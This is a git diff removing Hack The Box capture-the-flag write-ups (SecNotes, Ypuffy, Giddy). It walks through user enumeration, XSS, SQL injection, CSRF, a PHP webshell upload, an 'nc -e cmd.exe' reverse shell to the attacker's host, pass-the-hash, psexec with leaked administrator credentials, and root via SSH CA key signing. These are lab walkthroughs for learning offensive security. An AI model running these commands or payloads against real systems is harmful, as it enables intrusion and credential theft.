results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 394.23 seconds -``` - -### Web enumeration - -- Port 80 runs a custom SecNotes application -- Port 8808 doesn't have anything on it, except the default IIS page (tried enumerating with gobuster and didn't find anything) - -### Finding #1: We can enumerate user accounts - -The box tells us whether or not a username exists when we attempt to log in. - -![](/assets/images/htb-writeup-secnotes/1.png) - -I tried fuzzing different usernames with wfuzz but only found the `Tyler` username which we already know from the SecNotes application page: - -``` -wfuzz -z file,names.txt -d "username=FUZZ&password=1" --hs "No account found with that username" http://10.10.10.97/login.php -``` - -### Finding #2: Reflected XSS on the main login page - -The HTML page returns the username when authentication fails and the input is not properly sanitized so we can trigger an XXS - -Example payload in the username field: `">` - -![](/assets/images/htb-writeup-secnotes/2.png) - -![](/assets/images/htb-writeup-secnotes/3.png) - -But we won't be able to do anything useful with this since only our own user sees the error. - -### Finding #3: Stored XSS in the notes applications - -The notes application doesn't escape any of the input data so we can embed javascript in the notes and attempt to steal cookies. Unfortunately there is no other user connecting and checking the notes so this is not useful for us here (we can't steal session cookies of a logged on user). - -Payload: `` - -![](/assets/images/htb-writeup-secnotes/4.png) - -![](/assets/images/htb-writeup-secnotes/5.png) - -### Finding #4: 2nd order SQL injection on the registration page - -There's an SQL injection vulnerability on the `home.php` page that we can abuse by creating a user with the following name: `test' or 1=1-- -` - -Once we log in after, the notes page will display all the notes from all users. The resulting query probably ends up being something like `SELECT * FROM notes WHERE user = 'test' OR 1=1` so that basically returns all the notes because of the TRUE condition. - -One of the notes contains the credentials for the `Tyler` user. - -![](/assets/images/htb-writeup-secnotes/6.png) - -### Finding #5: We can have Tyler change his password by sending him a link - -The Change Password page works through a POST request but it also works if we use a GET request instead. - -We can send messages to Tyler through the Contact Us form and he'll click on every link that we send him. Because there is no anti-CSRF token on the Change Password page, we can trick Tyler in changing his password. - -Initially, I tried sending an HTML link such as: - -`Click this!` but it didn't work. - -However plaintext works: `http://10.10.10.97/change_pass.php?password=test11&confirm_password=test11&submit=submit`. - -So we send this to Tyler and we can log in after with the password we specified in the link. - -### User shell - -The credentials for Tyler are in one of the notes: - -``` -\\secnotes.htb\new-site -tyler / 92g!mA8BGjOirkL%OG*& -``` - -Let's verify which shares he has access to: - -``` -root@darkisland:~/tmp# smbclient -U tyler -L //10.10.10.97 -WARNING: The "syslog" option is deprecated -Enter WORKGROUP\tyler's password: - - Sharename Type Comment - --------- ---- ------- - ADMIN$ Disk Remote Admin - C$ Disk Default share - IPC$ IPC Remote IPC - new-site Disk - -root@darkisland:~/tmp# smbclient -U tyler //10.10.10.97/new-site -WARNING: The "syslog" option is deprecated -Enter WORKGROUP\tyler's password: -Try "help" to get a list of possible commands. - -smb: \> ls - . D 0 Sun Aug 19 14:06:14 2018 - .. D 0 Sun Aug 19 14:06:14 2018 - iisstart.htm A 696 Thu Jun 21 11:26:03 2018 - iisstart.png A 98757 Thu Jun 21 11:26:03 2018 - - 12978687 blocks of size 4096. 7919013 blocks available -``` - -So the `new-site` share is the root directory of the webserver listening on port 8808. - -To get a shell on the box we'll do the following: - -1. Upload a PHP webshell -2. Upload netcat -3. Run netcat through the webshell - -Alternatively we could run nishang to get a reverse shell, but I had problem running `bash` and getting the output so netcat it is. - -Webshell: - -```php - -
- - -
-
-
-
- -``` - -``` -root@darkisland:~/tmp# smbclient -U tyler //10.10.10.97/new-site -WARNING: The "syslog" option is deprecated -Enter WORKGROUP\tyler's password: -Try "help" to get a list of possible commands. -smb: \> pwd -Current directory is \\10.10.10.97\new-site\ -smb: \> ls - . D 0 Sun Aug 19 14:06:14 2018 - .. D 0 Sun Aug 19 14:06:14 2018 - iisstart.htm A 696 Thu Jun 21 11:26:03 2018 - iisstart.png A 98757 Thu Jun 21 11:26:03 2018 - - 12978687 blocks of size 4096. 7919013 blocks available -smb: \> put snowscan.php -putting file snowscan.php as \snowscan.php (1.6 kb/s) (average 1.6 kb/s) -smb: \> put nc.exe -putting file nc.exe as \nc.exe (152.5 kb/s) (average 91.8 kb/s) -``` - -Trigger the netcat connection with: `http://secnotes.htb:8808/snowscan.php?cmd=nc+-e+cmd.exe+10.10.14.23+4444` -``` -root@darkisland:~/tmp# nc -lvnp 4444 -listening on [any] 4444 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.97] 49757 -Microsoft Windows [Version 10.0.17134.228] -(c) 2018 Microsoft Corporation. All rights reserved. - -C:\inetpub\new-site>whoami -whoami -secnotes\tyler - -C:\inetpub\new-site>type c:\users\tyler\desktop\user.txt -type c:\users\tyler\desktop\user.txt -6fa755 -``` - -### Privesc - -After looking around the box for a bit, I found that the Linux subsystem is installed. I noticed a Distros directory, Ubuntu then found bash.exe in `C:\Windows\System32`. - -``` -C:\>dir -06/21/2018 03:07 PM Distros -[...] -``` - -``` -C:\Distros\Ubuntu> - Volume in drive C has no label. - Volume Serial Number is 9CDD-BADA - - Directory of C:\Distros\Ubuntu - -06/21/2018 05:59 PM . -06/21/2018 05:59 PM .. -07/11/2017 06:10 PM 190,434 AppxBlockMap.xml -07/11/2017 06:10 PM 2,475 AppxManifest.xml -06/21/2018 03:07 PM AppxMetadata -07/11/2017 06:11 PM 10,554 AppxSignature.p7x -06/21/2018 03:07 PM Assets -06/21/2018 03:07 PM images -07/11/2017 06:10 PM 201,254,783 install.tar.gz -07/11/2017 06:10 PM 4,840 resources.pri -06/21/2018 05:51 PM temp -07/11/2017 06:10 PM 222,208 ubuntu.exe -07/11/2017 06:10 PM 809 [Content_Types].xml - 7 File(s) 201,686,103 bytes - 6 Dir(s) 32,431,472,640 bytes free -``` - -``` -C:\Windows\System32>dir bash.exe -06/21/2018 02:02 PM 115,712 bash.exe -``` - -After starting bash and looking around the system, we find the `Administrator` credentials in root's `.bash_history` file: -``` -C:\Windows\System32>bash -mesg: ttyname failed: Inappropriate ioctl for device -python -c 'import pty;pty.spawn("/bin/bash")' -root@SECNOTES:~# cat .bash_history -cat .bash_history -cd /mnt/c/ -ls -cd Users/ -cd / -cd ~ -ls -pwd -mkdir filesystem -mount //127.0.0.1/c$ filesystem/ -sudo apt install cifs-utils -mount //127.0.0.1/c$ filesystem/ -mount //127.0.0.1/c$ filesystem/ -o user=administrator -cat /proc/filesystems -sudo modprobe cifs -smbclient -apt install smbclient -smbclient -smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$ -> .bash_history -less .bash_history -``` - -We can then psexec as administrator and get the root flag: -``` -root@darkstar:~# /usr/share/doc/python-impacket/examples/psexec.py 'administrator:u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97 cmd.exe -Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies - -[*] Requesting shares on 10.10.10.97..... -[*] Found writable share ADMIN$ -[*] Uploading file DmaHNXRy.exe -[*] Opening SVCManager on 10.10.10.97..... -[*] Creating service twnE on 10.10.10.97..... -[*] Starting service twnE..... -[!] Press help for extra shell commands -Microsoft Windows [Version 10.0.17134.228] -(c) 2018 Microsoft Corporation. All rights reserved. - -C:\WINDOWS\system32>type c:\users\administrator\desktop\root.txt -7250cd -``` \ No newline at end of file diff --git a/_posts/2019-02-09-htb-writeup-ypuffy.md b/_posts/2019-02-09-htb-writeup-ypuffy.md deleted file mode 100644 index 4e127abafe..0000000000 --- a/_posts/2019-02-09-htb-writeup-ypuffy.md +++ /dev/null @@ -1,422 +0,0 @@ ---- -layout: single -title: Ypuffy - Hack The Box -excerpt: This is the writeup for Ypuffy, an OpenBSD machine from Hack the Box involving a somewhat easy shell access followed by a privesc using CA signed SSH keys. -date: 2019-02-09 -classes: wide -header: - teaser: /assets/images/htb-writeup-ypuffy/ypuffy_logo.png -categories: - - hackthebox - - infosec -tags: - - openbsd - - ssh - - pass-the-hash - - ldap - - ca ---- - -Ypuffy is being retired this weekend, so it's time to do another writeup. I think this is the only OpenBSD machine so far on Hack the Box. The initial user part was not really difficult and involved doing some basic LDAP edumeration to find an NTLM hash that can be used to access a Samba share and recover an SSH private key. The priv esc used CA signed SSH keys which is something I've never personally used before. - -![](/assets/images/htb-writeup-ypuffy/ypuffy_logo.png) - -## Quick summary - -- The LDAP server allows anyone to connect and enumerate the contents -- An NT hash is found in the LDAP directory for user `alice1978` -- We can pass the hash to get access to the SMB share and download the SSH private key -- User `alice1978` can run `ssh-keygen` as user `userca` and sign a new DSA SSH key with a principal name associated with the root user - -### Tools/Blogs used - -- [https://code.fb.com/security/scalable-and-secure-access-with-ssh/](https://code.fb.com/security/scalable-and-secure-access-with-ssh/) - -## Detailed steps - -### Portscan - -I started with the typical nmap scan and found a couple of interesting ports in addition to the SSH and webserver: LDAP is running on this box and there is also Samba running. - -``` -root@ragingunicorn:~# nmap -sC -sV -p- 10.10.10.107 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-08 01:37 EST -Nmap scan report for 10.10.10.107 -Host is up (0.015s latency). -Not shown: 65530 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.7 (protocol 2.0) -| ssh-hostkey: -| 2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA) -| 256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA) -|_ 256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519) -80/tcp open http OpenBSD httpd -139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY) -389/tcp open ldap (Anonymous bind OK) -445/tcp open netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY) -Service Info: Host: YPUFFY - -Host script results: -|_clock-skew: mean: -3h28m23s, deviation: 2h53m12s, median: -5h08m23s -| smb-os-discovery: -| OS: Windows 6.1 (Samba 4.7.6) -| Computer name: ypuffy -| NetBIOS computer name: YPUFFY\x00 -| Domain name: hackthebox.htb -| FQDN: ypuffy.hackthebox.htb -|_ System time: 2019-02-07T20:29:50-05:00 -| smb-security-mode: -| account_used: -| authentication_level: user -| challenge_response: supported -|_ message_signing: disabled (dangerous, but default) -| smb2-security-mode: -| 2.02: -|_ Message signing enabled but not required -| smb2-time: -| date: 2019-02-07 20:29:50 -|_ start_date: N/A -``` - -### Web server enumeration - -The server doesn't respond with anything when we connect to it: - -``` -root@ragingunicorn:~# curl 10.10.10.107 -curl: (52) Empty reply from server -``` - -We'll come back to this later when we get user access to the box. - -### SMB share enumeration - -I got an access denied when trying to check the shares. We'll need the credentials to enumerate this further. More on this later on. - -``` -root@ragingunicorn:~# smbmap -H 10.10.10.107 -[+] Finding open SMB ports.... -[+] Guest SMB session established on 10.10.10.107... -[+] IP: 10.10.10.107:445 Name: 10.10.10.107 - Disk Permissions - ---- ----------- -[!] Access Denied -``` - -### LDAP enumeration - -To enumerate the LDAP, we need to give it the base dn to for the search. When I checked the output from nmap I saw the `ypuffy.hackthebox.htb` FQDN from the SMB discovery script. So I tried `hackthebox.htb` as domain to search from, luckily the box doesn't require authentication to pull data from it. - -The most interesting entry is this one for `alice1978` because it contains an NTLM hash. The `userPassword` field is not useful, it just contains `{BSDAUTH}alice1978` in base64 encoded format. - -``` -root@ragingunicorn:~# ldapsearch -h 10.10.10.107 -x -b "dc=hackthebox,dc=htb" -[...] -# alice1978, passwd, hackthebox.htb -dn: uid=alice1978,ou=passwd,dc=hackthebox,dc=htb -uid: alice1978 -cn: Alice -objectClass: account -objectClass: posixAccount -objectClass: top -objectClass: sambaSamAccount -userPassword:: e0JTREFVVEh9YWxpY2UxOTc4 -uidNumber: 5000 -gidNumber: 5000 -gecos: Alice -homeDirectory: /home/alice1978 -loginShell: /bin/ksh -sambaSID: S-1-5-21-3933741069-3307154301-3557023464-1001 -displayName: Alice -sambaAcctFlags: [U ] -sambaPasswordHistory: 00000000000000000000000000000000000000000000000000000000 -sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B -sambaPwdLastSet: 1532916644 -[...] -``` - -### Passing the hash - -The first thing I did was look up the NT hash online to see if I could quickly get the password but I didn't find any match for this one. It probably uses a strong password which I won't waste time cracking. - -![](/assets/images/htb-writeup-ypuffy/ntlm.png) - -We don't have the password but we can pass the hash to the Samba server and list the shares: - -``` -root@ragingunicorn:~# smbmap -u alice1978 -p '00000000000000000000000000000000:0B186E661BBDBDCF6047784DE8B9FD8B' -d hackthebox.htb -H 10.10.10.107 -[+] Finding open SMB ports.... -[+] Hash detected, using pass-the-hash to authentiate -[+] User session establishd on 10.10.10.107... -[+] IP: 10.10.10.107:445 Name: 10.10.10.107 - Disk Permissions - ---- ----------- - alice READ, WRITE - IPC$ NO ACCESS -``` - -Cool, we can access the `alice` share. Next I listed all the files in the share: - -``` -root@ragingunicorn:~# smbmap -u alice1978 -p '00000000000000000000000000000000:0B186E661BBDBDCF6047784DE8B9FD8B' -s alice -R -H 10.10.10.107 -[+] Finding open SMB ports.... -[+] Hash detected, using pass-the-hash to authentiate -[+] User session establishd on 10.10.10.107... -[+] IP: 10.10.10.107:445 Name: 10.10.10.107 - Disk Permissions - ---- ----------- - alice READ, WRITE - .\ - dr--r--r-- 0 Thu Feb 7 20:48:09 2019 . - dr--r--r-- 0 Tue Jul 31 23:16:50 2018 .. - -r--r--r-- 1460 Mon Jul 16 21:38:51 2018 my_private_key.ppk - IPC$ NO ACCESS -``` - -That SSH private key looks interesting, let's download it and confirm this is really an SSH key: - -``` -root@ragingunicorn:~# smbmap -u alice1978 -p '00000000000000000000000000000000:0B186E661BBDBDCF6047784DE8B9FD8B' --download alice/my_private_key.ppk -H 10.10.10.107 -[+] Finding open SMB ports.... -[+] Hash detected, using pass-the-hash to authentiate -[+] User session establishd on 10.10.10.107... -[+] Starting download: alice\my_private_key.ppk (1460 bytes) -[+] File output to: /usr/share/smbmap/10.10.10.107-alice_my_private_key.ppk -root@ragingunicorn:~# file /usr/share/smbmap/10.10.10.107-alice_my_private_key.ppk -/usr/share/smbmap/10.10.10.107-alice_my_private_key.ppk: ASCII text, with CRLF line terminators -root@ragingunicorn:~# cat /usr/share/smbmap/10.10.10.107-alice_my_private_key.ppk -PuTTY-User-Key-File-2: ssh-rsa -Encryption: none -Comment: rsa-key-20180716 -Public-Lines: 6 -AAAAB3NzaC1yc2EAAAABJQAAAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz -1am2V3wNRkKR+gRb3FIPp+J4rCOS/S5skFPrGJLLFLeExz7Afvg6m2dOrSn02qux -BoLMq0VSFK5A0Ep5Hm8WZxy5wteK3RDx0HKO/aCvsaYPJa2zvxdtp1JGPbN5zBAj -h7U8op4/lIskHqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/Sxa -iA2jBW6n3dMsqpB8kq+b7RVnVXGbBK5p4n44JD2yJZgeDk+1JClS7ZUlbI5+6KWx -ivAMf2AqY5e1adjpOfo6TwmB0Cyx0rIYMvsog3HnqyHcVR/Ufw== -Private-Lines: 14 -AAABAH0knH2xprkuycHoh18sGrlvVGVG6C2vZ9PsiBdP/5wmhpYI3Svnn3ZL8CwF -VGaXdidhZunC9xmD1/QAgCgTz/Fh5yl+nGdeBWc10hLD2SeqFJoHU6SLYpOSViSE -cOZ5mYSy4IIRgPdJKwL6NPnrO+qORSSs9uKVqEdmKLm5lat9dRJVtFlG2tZ7tsma -hRM//9du5MKWWemJlW9PmRGY6shATM3Ow8LojNgnpoHNigB6b/kdDozx6RIf8b1q -Gs+gaU1W5FVehiV6dO2OjHUoUtBME01owBLvwjdV/1Sea/kcZa72TYIMoN1MUEFC -3hlBVcWbiy+O27JzmDzhYen0Jq0AAACBANTBwU1DttMKKphHAN23+tvIAh3rlNG6 -m+xeStOxEusrbNL89aEU03FWXIocoQlPiQBr3s8OkgMk1QVYABlH30Y2ZsPL/hp6 -l4UVEuHUqnTfEOowVTcVNlwpNM8YLhgn+JIeGpJZqus5JK/pBhK0JclenIpH5M2v -4L9aKFwiMZxfAAAAgQDG+o9xrh+rZuQg8BZ6ZcGGdszZITn797a4YU+NzxjP4jR+ -qSVCTRky9uSP0i9H7B9KVnuu9AfzKDBgSH/zxFnJqBTTykM1imjt+y1wVa/3aLPh -hKxePlIrP3YaMKd38ss2ebeqWy+XJYwgWOsSw8wAQT7fIxmT8OYfJRjRGTS74QAA -AIEAiOHSABguzA8sMxaHMvWu16F0RKXLOy+S3ZbMrQZr+nDyzHYPaLDRtNE2iI5c -QLr38t6CRO6zEZ+08Zh5rbqLJ1n8i/q0Pv+nYoYlocxw3qodwUlUYcr1/sE+Wuvl -xTwgKNIb9U6L6OdSr5FGkFBCFldtZ/WSHtbHxBabb0zpdts= -Private-MAC: 208b4e256cd56d59f70e3594f4e2c3ca91a757c9 -``` - -To convert it to the OpenSSH format, I used the `puttygen` utility: - -``` -root@ragingunicorn:~# puttygen /usr/share/smbmap/10.10.10.107-alice_my_private_key.ppk -O private-openssh -o alice_rsa -root@ragingunicorn:~# file alice_rsa -alice_rsa: PEM RSA private key -``` - -We can log in and get the user flag at this point: - -``` -root@ragingunicorn:~# ssh -i alice_rsa alice1978@10.10.10.107 -The authenticity of host '10.10.10.107 (10.10.10.107)' can't be established. -ECDSA key fingerprint is SHA256:oYYpshmLOvkyebJUObgH6bxJkOGRu7xsw3r7ta0LCzE. -Are you sure you want to continue connecting (yes/no)? yes -Warning: Permanently added '10.10.10.107' (ECDSA) to the list of known hosts. -OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018 - -Welcome to OpenBSD: The proactively secure Unix-like operating system. - -Please use the sendbug(1) utility to report bugs in the system. -Before reporting a bug, please try to reproduce it with the latest -version of the code. With bug reports, please try to ensure that -enough information to reproduce the problem is enclosed, and if a -known fix for it exists, include that as well. - -ypuffy$ cat user.txt -acbc06 -``` - -### Priv esc - -The home directory contains an interesting user `userca`: - -``` -ypuffy$ ls -la -total 20 -drwxr-xr-x 5 root wheel 512 Jul 30 2018 . -drwxr-xr-x 13 root wheel 512 Feb 5 00:30 .. -drwxr-x--- 3 alice1978 alice1978 512 Jul 31 2018 alice1978 -drwxr-xr-x 3 bob8791 bob8791 512 Jul 30 2018 bob8791 -drwxr-xr-x 3 userca userca 512 Jul 30 2018 userca -``` - -Bob8791's home directory contains an SQL file with a reference to a `principal` and `keys` tables: - -``` -ypuffy$ pwd -/home/bob8791/dba -ypuffy$ ls -sshauth.sql -ypuffy$ cat sshauth.sql -CREATE TABLE principals ( - uid text, - client cidr, - principal text, - PRIMARY KEY (uid,client,principal) -); - -CREATE TABLE keys ( - uid text, - key text, - PRIMARY KEY (uid,key) -); -grant select on principals,keys to appsrv; -``` - -The `userca` directory contains the CA private and public keys: - -``` -ypuffy$ ls -la --r-------- 1 userca userca 1679 Jul 30 2018 ca --r--r--r-- 1 userca userca 410 Jul 30 2018 ca.pub -ypuffy$ file ca.pub -ca.pub: OpenSSH RSA public key -``` - -The `httpd.conf` file contains some directories that I didn't enumerate at the beginning of the box: - -``` -ypuffy$ cat httpd.conf -server "ypuffy.hackthebox.htb" { - listen on * port 80 - - location "/userca*" { - root "/userca" - root strip 1 - directory auto index - } - - location "/sshauth*" { - fastcgi socket "/run/wsgi/sshauthd.socket" - } - - location * { - block drop - } -} -``` - -The `/etc/ssh/sshd_config` file has been modified by the box creator and contains a few interesting lines: - -``` -AuthorizedKeysCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=keys&username=%u -AuthorizedKeysCommandUser nobody - -TrustedUserCAKeys /home/userca/ca.pub -AuthorizedPrincipalsCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=principals&username=%u -AuthorizedPrincipalsCommandUser nobody -``` - -Here's the summary of the what we found: SSH has been configured on this box to look up the public key of the connecting users by interrogating some kind of web application running on the box. The `AuthorizedKeysCommand` is useful when you don't want to have to upload public keys on a whole bunch of server. You can centralize the keys in a database somewhere so it's much easier to manage. The database dump we saw earlier in bob's directory confirms this. The second `AuthorizedPrincipalsCommand` configuration is used to look up allowed principals in the database. The principal is added when the keys are signed by the CA. - -We can read the public SSH keys by sending requests to the application. The GET parameters are the same as what was in the database file: - -``` -ypuffy$ curl "http://127.0.0.1/sshauth?type=keys&username=alice1978" -ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz1am2V3wNRkKR+gRb3FIPp+J4rCOS/S5skFPrGJLLFLeExz7Afvg6m2dOrSn02quxBoLMq0VSFK5A0Ep5Hm8WZxy5wteK3RDx0HKO/aCvsaYPJa2zvxdtp1JGPbN5zBAjh7U8op4/lIskHqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/SxaiA2jBW6n3dMsqpB8kq+b7RVnVXGbBK5p4n44JD2yJZgeDk+1JClS7ZUlbI5+6KWxivAMf2AqY5e1adjpOfo6TwmB0Cyx0rIYMvsog3HnqyHcVR/Ufw== rsa-key-20180716 -ypuffy$ curl "http://127.0.0.1/sshauth?type=keys&username=bob8791" -ypuffy$ curl "http://127.0.0.1/sshauth?type=keys&username=userca" -ypuffy$ curl "http://127.0.0.1/sshauth?type=keys&username=root" -``` - -We can only get the public key for user `alice1978` - -Next, we can list the principal names using: - -``` -ypuffy$ curl "http://127.0.0.1/sshauth?type=principals&username=alice1978" -alice1978 -ypuffy$ curl "http://127.0.0.1/sshauth?type=principals&username=bob8791" -bob8791 -ypuffy$ curl "http://127.0.0.1/sshauth?type=principals&username=userca" -ypuffy$ curl "http://127.0.0.1/sshauth?type=principals&username=appsrv" -ypuffy$ curl "http://127.0.0.1/sshauth?type=principals&username=root" -3m3rgencyB4ckd00r -``` - -Interesting, there's a principal name for root called `3m3rgencyB4ckd00r`. If we could have the CA sign an SSH key with this principal name, we should be able to log in as `root` on the box. - -OpenBSD has a `sudo` equivalent called `doas`: - -``` -ypuffy$ cat /etc/doas.conf -permit keepenv :wheel -permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen -``` - -It seems we can run `ssh-keygen` as user `userca` without entering a password. - -``` -ypuffy$ ssh-keygen -t ecdsa -Generating public/private ecdsa key pair. -Enter file in which to save the key (/home/alice1978/.ssh/id_ecdsa): /tmp/id_ecdsa -Enter passphrase (empty for no passphrase): -Enter same passphrase again: -Your identification has been saved in /tmp/id_ecdsa. -Your public key has been saved in /tmp/id_ecdsa.pub. -The key fingerprint is: -SHA256:kbrMU2l1XcB9DEIKw58lsyYFz03VMLDuEPgQrXQWW3c alice1978@ypuffy.hackthebox.htb -The key's randomart image is: -+---[ECDSA 256]---+ -| .=o.o*+BBE| -| oOB*.=.+=| -| .=*B*+ . .| -| .o*=+ | -| . Soo . | -| o + o | -| = . | -| . | -| | -+----[SHA256]-----+ -``` - -We can generate a new DSA keypair for Alice and get it sign by the CA, making sure to assign the root's principal name `3m3rgencyB4ckd00r`" - -Here's the breakdown of the `ssh-keygen` parameters used: - - `-s` : this is the private key that will be used to sign the keys - - `-I` : that's the certificate identity - - `-n` : the principals associated with the key (we need to include `3m3rgencyB4ckd00r`) - - `-V` : validity of the key - - `-z` : serial number - - `id_ecdsa.pub` : The public key we previously generated - -``` -ypuffy$ doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -I snowscan -n root,3m3rgencyB4ckd00r -V +1w -z 1 id_ecdsa.pub -Signed user key id_ecdsa-cert.pub: id "snowscan" serial 1 for root,3m3rgencyB4ckd00r valid from 2018-09-15T20:07:00 to 2018-09-22T20:08:02 -ypuffy$ mkdir /home/alice1978/.ssh -ypuffy$ cp id_ecdsa* /home/alice1978/.ssh -ypuffy$ ssh root@localhost -The authenticity of host 'localhost (127.0.0.1)' can't be established. -ECDSA key fingerprint is SHA256:oYYpshmLOvkyebJUObgH6bxJkOGRu7xsw3r7ta0LCzE. -Are you sure you want to continue connecting (yes/no)? yes -Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts. -OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018 - -Welcome to OpenBSD: The proactively secure Unix-like operating system. - -Please use the sendbug(1) utility to report bugs in the system. -Before reporting a bug, please try to reproduce it with the latest -version of the code. With bug reports, please try to ensure that -enough information to reproduce the problem is enclosed, and if a -known fix for it exists, include that as well. - -ypuffy# cat root.txt -1265f8 -``` \ No newline at end of file diff --git a/_posts/2019-02-16-htb-writeup-giddy.md b/_posts/2019-02-16-htb-writeup-giddy.md deleted file mode 100644 index d7c0f02533..0000000000 --- a/_posts/2019-02-16-htb-writeup-giddy.md +++ /dev/null @@ -1,393 +0,0 @@ ---- -layout: single -title: Giddy - Hack The Box -excerpt: This is the writeup for Giddy, a Windows machine with an interesting twist on SQL injection, PowerShell Web Access and a priv exploiting improper permissions. -date: 2019-02-16 -classes: wide -header: - teaser: /assets/images/htb-writeup-giddy/giddy_logo.png -categories: - - hackthebox - - infosec -tags: - - sqli - - powershell - - ---- - -Giddy from Hack the Box is being retired this week so I'll go over the steps to pwn this box. For this one we need to find an easy SQL injection point in the web application then leverage this to trigger an SMB connection back to our machine and use responder to capture some hashes. I learned a bit about Web powershell while doing this box as I didn't know that even existed. - -![](/assets/images/htb-writeup-giddy/giddy_logo.png) - -### Tools/Blogs used - - - [https://github.com/SpiderLabs/Responder](responder.py) - - [Ubiquiti UniFi Video 3.7.3 - Local Privilege Escalation](https://www.exploit-db.com/exploits/43390/) - -## Quick summary - -- There's an SQL injection in the generic products inventory page -- Using the SQL injection in MSSQL, we can trigger an SMB connection back to us and get the NTLM hash with responder.py -- The credentials are used to gain access to a restricted PS session through the Web Powershell interface -- The Ubiquiti Unifi Video service has weak file permissions and allow us to upload an arbitrary file and execute it as SYSTEM -- A reverse shell executable is compiled, uploaded and executed to get SYSTEM access - -### Tools/Blogs used - -- mdbtools -- readpst - -## Detailed steps - -### Nmap - -Services running: -- HTTP(s) -- RDP -- WinRM - -``` -root@darkisland:~# nmap -sC -sV -p- 10.10.10.104 -Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-08 19:28 EDT -Nmap scan report for giddy.htb (10.10.10.104) -Host is up (0.015s latency). -Not shown: 65531 filtered ports -PORT STATE SERVICE VERSION -80/tcp open http Microsoft IIS httpd 10.0 -| http-methods: -|_ Potentially risky methods: TRACE -|_http-server-header: Microsoft-IIS/10.0 -|_http-title: IIS Windows Server -443/tcp open ssl/http Microsoft IIS httpd 10.0 -| http-methods: -|_ Potentially risky methods: TRACE -|_http-server-header: Microsoft-IIS/10.0 -|_http-title: IIS Windows Server -| ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite -| Not valid before: 2018-06-16T21:28:55 -|_Not valid after: 2018-09-14T21:28:55 -|_ssl-date: 2018-09-08T23:26:04+00:00; -4m42s from scanner time. -| tls-alpn: -| h2 -|_ http/1.1 -3389/tcp open ms-wbt-server Microsoft Terminal Services -| ssl-cert: Subject: commonName=Giddy -| Not valid before: 2018-06-16T01:04:03 -|_Not valid after: 2018-12-16T01:04:03 -|_ssl-date: 2018-09-08T23:26:04+00:00; -4m41s from scanner time. -5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) -|_http-server-header: Microsoft-HTTPAPI/2.0 -|_http-title: Not Found -Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows -``` - -### Web enumeration - -I found two interesting directories: -- `/mvc` -- `/remote` - -``` -root@darkisland:~# gobuster -w SecLists/Discovery/Web-Content/big.txt -t 50 -u http://10.10.10.104 - -===================================================== -Gobuster v2.0.0 OJ Reeves (@TheColonial) -===================================================== -[+] Mode : dir -[+] Url/Domain : http://10.10.10.104/ -[+] Threads : 50 -[+] Wordlist : SecLists/Discovery/Web-Content/big.txt -[+] Status codes : 200,204,301,302,307,403 -[+] Timeout : 10s -===================================================== -2018/09/08 15:02:36 Starting gobuster -===================================================== -/aspnet_client (Status: 301) -/mvc (Status: 301) -/remote (Status: 302) -===================================================== -2018/09/08 15:03:13 Finished -===================================================== -``` - -**Main page** - -The main page has nothing interesting on it, just some image of a dog. - -![](/assets/images/htb-writeup-giddy/dog.png) - -**/remote** - -The `/remote` URI contains a Windows PowerShell Web Access interface which we'll use later. - -![](/assets/images/htb-writeup-giddy/remote1.png) - -**/mvc** - -The `/mvc` URI is some generic demonstration ASP.NET page with a database backend. We can register a new user but there's nothing interesting we can do with a user vs. an anonymous ession. The web application simply lists products from the database. There's also a search function that we can use to look in the database. - -![]/assets/images/htb-writeup-giddy/(mvc1.png) - -![](/assets/images/htb-writeup-giddy/mvc2.png) - -The 1st SQL injection point is the search field since we can trigger an SQL error with a single quote. - -![](/assets/images/htb-writeup-giddy/mvc3.png) - -The 2nd SQL injection point is the GET parameter field in the product category, we can trigger an SQL error with a single quote also. - -GET: `https://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=18%27` - -![](/assets/images/htb-writeup-giddy/mvc4.png) - -SQLmap can be used to enumerate the database contents: - -``` -root@darkisland:~# sqlmap -u https://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=1 --dbms=mssql --dbs - ___ - __H__ - ___ ___[,]_____ ___ ___ {1.2.8#stable} -|_ -| . ['] | .'| . | -|___|_ [']_|_|_|__,| _| - |_|V |_| http://sqlmap.org - -[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program - -[*] starting at 19:46:05 - -[19:46:05] [INFO] testing connection to the target URL -[19:46:05] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS -[19:46:05] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS -do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] -[19:46:07] [WARNING] dropping timeout to 10 seconds (i.e. 